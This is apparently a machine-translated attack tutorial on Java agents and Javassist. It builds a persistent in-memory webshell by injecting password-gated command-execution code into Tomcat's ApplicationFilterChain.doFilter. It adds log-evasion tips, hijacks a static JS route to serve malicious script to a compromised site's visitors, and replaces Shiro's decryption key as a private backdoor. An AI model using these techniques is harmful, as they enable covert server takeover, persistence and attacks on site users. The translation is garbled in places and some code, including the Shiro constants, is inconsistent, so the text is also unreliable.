Java Agent from starter to memory horse
An introduction to
introduce
Note: This is only a brief introduction, see Resources for more details.
After JDK1.5, javaagent is a way to modify bytecode without affecting normal compilation.
As a strongly typed language, Java cannot generate JAR packages without compilation. With JavaAgent technology, classes and methods can be modified at the bytecode level. At the same time, you can also think of JavaAgent as a method of code injection. But this injection is much more elegant than Spring’s AOP.
Java Agent can be used in two ways:
-
Implement the premain method and load it before the JVM starts.
-
Implement the AgentMain method, which is loaded after the JVM starts.
The premain and agentMain functions are declared as follows. Methods with Instrumentation inst parameters have higher priority:
public static void agentmain(String agentArgs, Instrumentation inst) { ... }public static void agentmain(String agentArgs) { ... }public static void premain(String agentArgs, Instrumentation inst) { ... }public static void premain(String agentArgs) { ... }Copy the code
The first parameter, String agentArgs, is the Java Agent parameter.
The second parameter Instrumentaion inst is quite important and will be used later in the advanced content.
premain
To make a simple premain, there are several steps:
-
Create a new project with the following structure:
The agent ├ ─ ─ agent. On iml ├ ─ ─ pom. The XML └ ─ ─ the SRC ├ ─ ─ the main │ ├ ─ ─ Java │ └ ─ ─ resources └ ─ ─ the test └ ─ ─ JavaCopy the code
-
Create a class (in this case com.shiroha.demo.predemo) and implement the premain method.
package com.shiroha.demo; import java.lang.instrument.Instrumentation; public class PreDemo { public static void premain(String args, Instrumentation inst) throws Exception{ for (int i = 0; i < 10; i++) { System.out.println("hello I`m premain agent!!!" ); }}}Copy the code
-
To create meta-INF/manifest.mf in SRC /main/resources/, specify premain-class.
The Manifest - Version: 1.0 Premain - Class: com. Shiroha. Demo. PreDemoCopy the code
Note that there must be one more line break at the end.
-
Packaged in a jar
Choose Project Structure -> Artifacts -> JAR -> From Modules with Dependencies.
The default configuration will do.
Choose Build -> Build Artifacts -> Build.
Next generate out/artifacts/agent_jar/agent.jar:
└── garbage ─ garbage ─ garbage ─ garbageCopy the code
-
Run hello.jar with the -javaAgent :agent.jar argument. The result is as follows.
You can see that the com.shiroha.demo.PreDemo$premain method is executed before hello.jar prints Hello world.
When using this method, the process looks like the following:
However, this approach has a limitation — it can only be specified at startup with the -JavaAgent parameter. In a real-world environment, the target JVM is usually already started and cannot preload Premain. Agentmain, by contrast, is more practical.
agentmain
Writing an agentMain is similar to writing a premain, just add agent-class: to meta-INF/manifest.mf.
The Manifest - Version: 1.0 Premain - Class: com. Shiroha. Demo. PreDemoAgent - Class: com. Shiroha. Demo. AgentDemoCopy the code
The difference is that this method is not specified by the parameters before the JVM starts. The Attach API is provided for post-start loading. The Attach API is simple, with only two main classes, both in the com.sun.tools. Attach package. The main focus is on the VitualMachine class.
VirtualMachine
It literally means a Java virtual machine, the target virtual machine that the program needs to monitor, and provides methods to get system information, loadAgent, Attach, and Detach, which can be very powerful. This class allows us to connect remotely to the JVM by passing in a JVM PID (process ID) to the ATTACH method. The agent class injection operation is just one of its many functions, through the loadAgent method to the JVM to register an agent agent, agent in the agent will get an Instrumentation instance.
See the official example to understand the specific usage:
/ / com. Sun. Tools. Attach. VirtualMachine / / the following example demonstrates how to use VirtualMachine: // attach to target VM VirtualMachine vm = VirtualMachine.attach("2177"); // start management agent Properties props = new Properties(); props.put("com.sun.management.jmxremote.port", "5000"); vm.startManagementAgent(props); // detach vm.detach(); // In this example, we attach to the Java virtual machine identified by process identifier 2177. The JMX administrative agent is then started in the target process using the parameters provided. Finally, the client is separated from the target VM.Copy the code
Here are a few methods provided by this class:
Public abstract class VirtualMachine {public static List<VirtualMachineDescriptor> List () {... } public static VirtualMachine attach(String id) {... Public void loadAgent(String agent) {} public void loadAgent(String agent) {} public void loadAgent(String agent) {... }}Copy the code
Based on the API provided, you can write an attacher as follows:
import com.sun.tools.attach.AgentInitializationException; import com.sun.tools.attach.AgentLoadException; import com.sun.tools.attach.AttachNotSupportedException; import com.sun.tools.attach.VirtualMachine; import java.io.IOException; public class AgentMain { public static void main(String\[\] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException { String id = args\[0\]; String jarName = args\[1\]; System.out.println("id ==> " + id); System.out.println("jarName ==> " + jarName); VirtualMachine virtualMachine = VirtualMachine.attach(id); virtualMachine.loadAgent(jarName); virtualMachine.detach(); System.out.println("ends"); }}Copy the code
The process is simple: attach to target JVM via PID -> load agent -> disconnect.
Now let’s test agentMain:
package com.shiroha.demo; import java.lang.instrument.Instrumentation; public class AgentDemo { public static void agentmain(String agentArgs, Instrumentation inst) { for (int i = 0; i < 10; i++) { System.out.println("hello I`m agentMain!!!" ); }}}Copy the code
The agent was attached and loaded successfully.
The flow chart of the whole process is roughly as follows:
The advanced
Instrumentation
Instrumentation is part of JVMTIAgent (JVM Tool Interface Agent). The Java Agent interacts with the target JVM through this class to modify the data.
Some of the methods of this class are listed below, and you can refer to the official documentation for more details. You can also see resources below.
Public interface Instrumentation {// Add a Class file converter, the converter is used to change the Class binary stream data, the parameter canRetransform set whether to allow reconversion. Before the Class is loaded, redefine the Class file. ClassDefinition means a new definition of a Class. If you need to redefine the Class using the retransformClasses method after the Class is loaded. After the addTransformer method is configured, subsequent class loads are intercepted by Transformer. For classes that have already been loaded, you can perform retransformClasses to retrigger the Transformer interception. Class-loaded bytecodes that have been modified will not be restored unless retransformed. void addTransformer(ClassFileTransformer transformer); Boolean removeTransformer(ClassFileTransformer transformer); // Redefine the Class after the Class is loaded. This is important, this method was added after 1.6, in fact, this method updates a class. void retransformClasses(Class<? >... classes) throws UnmodifiableClassException; // Determine whether the target class can be modified. boolean isModifiableClass(Class<? > theClass); // Get the loaded class of the target. @SuppressWarnings("rawtypes") Class\[\] getAllLoadedClasses(); . }Copy the code
Due to too much knowledge and limited space, I will introduce getAllLoadedClasses and isModifiableClasses first.
You can tell by the name:
-
GetAllLoadedClasses: getAllLoadedClasses.
-
IsModifiableClasses: Determines whether a class can be modified.
Modify agentMain previously written:
package com.shiroha.demo; import java.io.File; import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.IOException; import java.lang.instrument.Instrumentation; public class AgentDemo { public static void agentmain(String agentArgs, Instrumentation inst) throws IOException { Class\[\] classes = inst.getAllLoadedClasses(); FileOutputStream fileOutputStream = new FileOutputStream(new File("/tmp/classesInfo")); for (Class aClass : classes) { String result = "class ==> " + aClass.getName() + "\\n\\t" + "Modifiable ==> " + (inst.isModifiableClass(aClass) ? "true" : "false") + "\\n"; fileOutputStream.write(result.getBytes()); } fileOutputStream.close(); }}Copy the code
Reattach to a JVM and the following information is displayed in the/TMP /classesInfo file:
class ==> java.lang.invoke.LambdaForm$MH/0x0000000800f06c40
Modifiable ==> falseclass ==> java.lang.invoke.LambdaForm$DMH/0x0000000800f06840
Modifiable ==> falseclass ==> java.lang.invoke.LambdaForm$DMH/0x0000000800f07440
Modifiable ==> falseclass ==> java.lang.invoke.LambdaForm$DMH/0x0000000800f07040
Modifiable ==> falseclass ==> jdk.internal.reflect.GeneratedConstructorAccessor29
Modifiable ==> true........
Copy the code
You get all the classes that have been loaded on the target JVM and know whether they can be modified.
Next, we’ll see how to tamper with Class bytecode using addTransformer() and retransformClasses().
Let’s first look at the declarations of the two methods:
Public interface Instrumentation {// Add a Class file converter, the converter is used to change the Class binary stream data, the parameter canRetransform set whether to allow reconversion. Before the Class is loaded, redefine the Class file. ClassDefinition means a new definition of a Class. If you need to redefine the Class using the retransformClasses method after the Class is loaded. After the addTransformer method is configured, subsequent class loads are intercepted by Transformer. For classes that have already been loaded, you can perform retransformClasses to retrigger the Transformer interception. Class-loaded bytecodes that have been modified will not be restored unless retransformed. void addTransformer(ClassFileTransformer transformer); Boolean removeTransformer(ClassFileTransformer transformer); // Redefine the Class after the Class is loaded. This is important, this method was added after 1.6, in fact, this method updates a class. void retransformClasses(Class<? >... classes) throws UnmodifiableClassException; . }Copy the code
In the addTransformer() method, there is a parameter ClassFileTransformer transformer. This parameter will help with the bytecode modification.
ClassFileTransformer
This is an interface that provides a transform method:
public interface ClassFileTransformer { default byte\[\] transform( ClassLoader loader, String className, Class<? > classBeingRedefined, ProtectionDomain protectionDomain, byte\[\] classfileBuffer) { .... }}Copy the code
The functionality of this interface is stated in the comments (translated) :
// The agent registers the implementation of this interface with the addTransformer method to call the transformer's transform method when the class is loaded, redefined, or reconverted. This implementation should override one of the transformation methods defined here. Before the Java VIRTUAL machine defines the class, the transformer is called. / / there are two types of converter, by Instrumentation. AddTransformer canRetransform parameters (ClassFileTransformer, Boolean) : // The reconversion capability added with canRetransform is true// Add to false or in Instrumentation with canRetransform. AddTransformer (ClassFileTransformer) cannot be added to convert converter / / registered in addTransformer converter, This converter is called for each new class definition and for each class redefinition. Converters with reconversion will also be called on the reconversion of each class. Use classLoader.defineclass or its native equivalent to request a new class definition. The Instrumentation. RedefineClasses or its native equivalent class redefines the request. The Instrumentation. RetransformClasses or its native equivalent class to convert the request. The converter is invoked during the processing of the request before the class file bytes are validated or applied. If there are multiple converters, the transformation is formed by linking the transformation calls. That is, the array of bytes returned by a conversion becomes the input to the conversion (via the classfileBuffer argument).Copy the code
To recap:
-
The Instrumentation. AddTransformer () to load a converter.
-
The result returned by the converter (the return value from the transform() method) becomes the transformed bytecode.
-
For classes that are not loaded, it is defined using classLoader.defineclass (); For a class already loaded, will use this redefineClasses () redefined, and cooperate with the Instrumentation. RetransformClasses for conversion.
Now that you know how to modify the Class’s bytecode, you need another tool, JavAssist, to do so.
javassist
Javassist profile
Javassist (JAVA Programming ASSISTant) is a class library for editing bytecode in JAVA; It enables Java programs to define a new class at run time and modify the class file when the JVM loads.
The most commonly used dynamic features are reflection, which looks up object properties and methods at run time, changes scope, calls methods by method names, and so on. Reflection is not used frequently by online applications because of its high performance overhead. There is another feature that is just as powerful as reflection, but at a lower cost: Javassit.
Unlike other similar bytecode editors, Javassist provides two levels of API: source level and bytecode level. If users are using source-level apis, they can edit class files without knowing the Java bytecode specifications. The entire API is designed using only the vocabulary of the Java language. You can even specify the inserted bytecode as source text; Javassist compiles it at run time. Bytecode level apis, on the other hand, allow users to edit class files directly as other editors.
Since our goal is to modify only a method of a class, this section is covered below, and you can refer to resources for more information.
ClassPool
This class is one of the core components of JavAssist.
Here’s the official description of him:
ClassPool is the container for CtClass objects. The CtClass object must be obtained from this object. If get() is called on this object, it searches the various source ClassPath represented to find the class file, and then creates an object that CtClass represents the class file. The created object is returned to the caller.
Simply put, this is a container that holds CtClass objects.
ClassPool cp = ClassPool. GetDefault (); . The ClassPool obtained via classpool.getDefault () uses the JVM’s class search path. If the program is running on a Web server such as JBoss or Tomcat, ClassPool may not be able to find the user’s classes because the Web server uses multiple classloaders as system classloaders. In this case, ClassPool must add additional class search paths.
cp.insertClassPath(new ClassClassPath(<Class>));
CtClass
You can think of it as an enhanced Class object that needs to be retrieved from the ClassPool.
CtClass cc = cp.get(ClassName).
CtMethod
In the same way, you can think of it as an enhanced Method object.
CtMethod m = cc.getDeclaredMethod(MethodName).
This class provides methods that make it easy to change the body of a method:
Public Final Class CtMethod extends CtBehavior {// CtBehaviorpublic Abstract Class CtBehavior extends CtMember {public void setBody(String SRC); Public void insertBefore(String SRC); Public void insertAfter(String SRC); Public int insertAt(int lineNum, String SRC); }Copy the code
The strings passed to the methods insertBefore(), insertAfter(), and insertAt() are compiled by Javassist’s compiler. Since the compiler supports language extensions, several identifiers beginning with $have special meaning:
symbol
meaning
$0, $1, $2,…
$0 = this; $1 = args[1] .....
$args
Method argument array. It is of type Object[]
$$
All arguments. For example, m($$) is equivalent to m($1,$2…).
$cflow(
…)
Cflow variable
$r
The type of the result returned for casting
$w
Wrapper type, used for casting
The $_
The return value
For details, see the Javassist User Guide (2).
The sample
A small example is used to better illustrate the use of the tool.
The target program hello.jar, which is used to keep the program from ending before injection:
// HelloWorld.javapublic class HelloWorld { public static void main(String\[\] args) { hello h1 = new hello(); h1.hello(); Println ("pid ==> "+ \[pid\]) // Generates an interrupt, waiting to be injected Scanner sc = new Scanner(system.in); sc.nextInt(); hello h2 = new hello(); h2.hello(); System.out.println("ends..." ); }}// hello.javapublic class hello { public void hello() { System.out.println("hello world"); }}Copy the code
Java agent agent. The jar:
// AgentDemo.javapublic class AgentDemo { public static void agentmain(String agentArgs, Instrumentation inst) throws IOException, UnmodifiableClassException { Class\[\] classes = inst.getAllLoadedClasses(); // Check whether the Class has been loaded for (Class aClass: Classes) {if (aClass getName () equals (TransformerDemo. EditClassName)) {/ / add the Transformer inst. AddTransformer (new TransformerDemo(), true); // Trigger Transformer inst.retransformClasses(aClass); }}}}// TransformerDemo.java// If you do not find classes in the Javassist package during use, Public class TransformerDemo implements ClassFileTransformer (URLCLassLoader+ reflection) {// You only need to modify this function to change the other function public static final String editClassName = "com.xxxx.hello.hello"; public static final String editClassName2 = editClassName.replace('.', '/'); public static final String editMethod = "hello"; @Override public byte\[\] transform(...) throws IllegalClassFormatException { try { ClassPool cp = ClassPool.getDefault(); if (classBeingRedefined ! = null) { ClassClassPath ccp = new ClassClassPath(classBeingRedefined); cp.insertClassPath(ccp); } CtClass ctc = cp.get(editClassName); CtMethod method = ctc.getDeclaredMethod(editMethodName); String source = "{System.out.println(\\"hello transformer\\"); } "; method.setBody(source); byte\[\] bytes = ctc.toBytes(); ctc.detach(); return bytes; } catch (Exception e){ e.printStackTrace(); } return null; }}Copy the code
This example is more general, and you only need to change the constant and source variables when you need to change different methods.
Let’s look at the effect :(using Java agent before typing 1)
You can see that when com.xxx.hello.hello#hello() is called the second time, the output changes to Hello Transformer.
Memory horse
Now that you can change the method body, you can put the Trojan inside a method that must execute so that it will be called when accessing any route. The question then becomes which method to inject into which class is better.
Spring Boot is known to have an embed Tomcat embedded as a container, and there are many versions of Tomcat “fileless” memory horses circulating on the web. Most of these memory horses are implemented by ** overriding/adding Filter**. Since Spring Boot uses Tomcat, it is possible to implement a Spring Boot memory horse through Filter. Of course you can.
Spring the Boot of the Filter
For a WebServer, each request is bound to enter a large number of calls, layer by layer reading source code is not a good way, at least not a fast method. Here I choose to debug directly with breakpoints. Start with a simple Spring Boot program:
@Controllerpublic class helloController {
@RequestMapping("/index")
public String sayHello() {
try {
System.out.println("hello world");
} catch (Exception e) {
e.printStackTrace();
}
return "index";
}}
Copy the code
Directly under the line 17 breakpoints, open the debug, and end in the web page to http://127.0.0.1:8080/index, triggering a breakpoint. At this point, the call stack looks like this (truncated because it is too long) :
In the figure above, it is clear that there are many doFilter and internalDoFilter methods in the red box, most of which come from the ApplicationFilterChain class.
Take a look at ApplicationFilterChain’s doFilter method:
@Overridepublic void doFilter(ServletRequest request, ServletResponse response) throws IOException, ServletException { if( Globals.IS\_SECURITY\_ENABLED ) { final ServletRequest req = request; final ServletResponse res = response; try { java.security.AccessController.doPrivileged( new java.security.PrivilegedExceptionAction<Void>() { @Override public Void run() throws ServletException, IOException { internalDoFilter(req,res); return null; }}); } catch (PrivilegedActionException pe) { ...... } } else { internalDoFilter(request,response); }}Copy the code
At first glance, this looks like a lot of stuff, but it boils down to this. InternalDoFilter (). So a quick look at the internalDoFilter() method:
private void internalDoFilter(ServletRequest request,
ServletResponse response)
throws IOException, ServletException {
// Call the next filter if there is one
if (pos < n) {
......
}}
Copy the code
These two methods have Request and Response parameters. If you can override one of them, you can control all requests and responses! Therefore, it is perfect as an entry point for a memory horse. I chose the doFilter() method here for reasons I’ll discuss later.
The Java Agent modifies doFilter
Just make a few changes to the example code above.
-
Specify the class name and method name that you want to modify:
public static final String editClassName = "org.apache.catalina.core.ApplicationFilterChain"; public static final String editClassName2 = editClassName.replace('.', '/'); public static final String editMethod = "doFilter";Copy the code
-
Instead of using the setBody() method, insertBefore() is used:
method.insertBefore(source); Copy the code
-
For convenience, implement a readSource() method that reads data from a file. :
String source = this.readSource("start.txt"); public static String readSource(String name) { String result = ""; // result = name file contents return result; }Copy the code
-
In start. TXT, write malicious code:
{ javax.servlet.http.HttpServletRequest request = $1; javax.servlet.http.HttpServletResponse response = $2; request.setCharacterEncoding("UTF-8"); String result = ""; String password = request.getParameter("password"); if (password ! = null) { // change the password here if (password.equals("xxxxxx")) { String cmd = request.getParameter("cmd"); if (cmd ! = null && cmd.length() > 0) {// Run the command to obtain the output} response.getwriter ().write(result); return; }}}Copy the code
Injection sample
Before injection, visit http://127.0.0.1:8080/ :
Inject Java agent:
After injection, visit http://127.0.0.1:8080/? Password = xxx&exec = ls – al:
You can see that you have successfully executed the Webshell.
After the in-memory shell is injected, the HTTP request flows as follows (simplified version) :
At this point, a simple Java Agent memory horse is made.
Matters needing attention
-
Since some middleware, such as Nginx, only logs GET requests, sending data using POST is more subtle.
-
Because HTTP requests are filtered at the Filter layer, malicious codes can be executed to access any route. Do not use non-existent routes for hiding.
-
Multiple agents can be injected, but transformer with the same class name can only inject one, so change the class name when injecting another agent.
-
Once the memory horse is injected into the target program, there is no way to unload it directly except by restarting it, because the bytecode of the original class has been modified.
In that case, I’ll just change it back. That’s why I chose the doFilter method — it’s logical and easy to restore. Its logic simply calls the internalDoFilter() method (in a nutshell). To restore, we just need setBody() :
// source.txt{ final javax.servlet.ServletRequest req = $1; final javax.servlet.ServletResponse res = $2; $0.internalDoFilter(req,res); }Copy the code
expand
There are a lot of things we can do when we can change the bytecode of a class, but I’ll give you two examples to start with.
Routing hijacked
Consider A scenario where site A is taken down, and other assets are temporarily unavailable for larger gains, and other methods are needed to expand the attack surface. Static /js/1.js: static/js/1.js: static/js/1.js: static/js
To do this, you simply need to determine the current access route in start. TXT, the code block to be inserted.
String uri = request.getRequestURI(); If (uri.equals("/static/js/1.js")) {response.getwriter ().write(\[malicious js code \]); return; }Copy the code
/static/js/1.js (); /static/js/1.js (); /static/js/1.js; This causes resources to be “replaced” and malicious code to take effect.
Replace Shiro’s key
Shiro’s vulnerability has become so well-known that in actual penetration, shiro will be scanned using various tools. When Shiro adopted random keys, the attack became more difficult. Now suppose there is such a situation: through Shiro deserialization to get access to the target host, and then secretly change the target key, then this vulnerability is only you can attack, in a sense, to help others to fix the vulnerability, but also left a back door.
There are many articles on shiro deserialization vulnerability on the web, so I won’t go over them here and get to the point.
When parsing a rememberMe, decode it base64 and decrypt it using AES. When decrypting AES, Invokes the org, apache shiro. MGT. AbstractRememberMeManager# getDecryptionCipherKey (), more get rid of the value returned from this function, you can change the decryption key. The implementation is also very simple, just need to change the above constant and start. TXT can be:
public static final String editClassName = "org.apache.catalina.core.ApplicationFilterChain"; public static final String editClassName2 = editClassName.replace('.', '/'); public static final String editMethod = "doFilter"; / / start. TXT (use the insertBefore ()) {$0. SetCipherKey (. Org. Apache shiro. Codec. Base64. Decode (" 4 avvhmflus0kta3kprsdag = = ")); } / / start. TXT (using setBody () {return (. Org. Apache shiro. Codec. Base64. Decode (" 4 avvhmflus0kta3kprsdag = = ")); }Copy the code
Use Vulhub /CVE-2016-4437 here to demonstrate the effect:
Before injection, check with shiro_tool.jar:
Injection shiroKey. Jar:
After injection, use shiro_tool.jar to verify:
You can see that Shiro’s key has been successfully changed.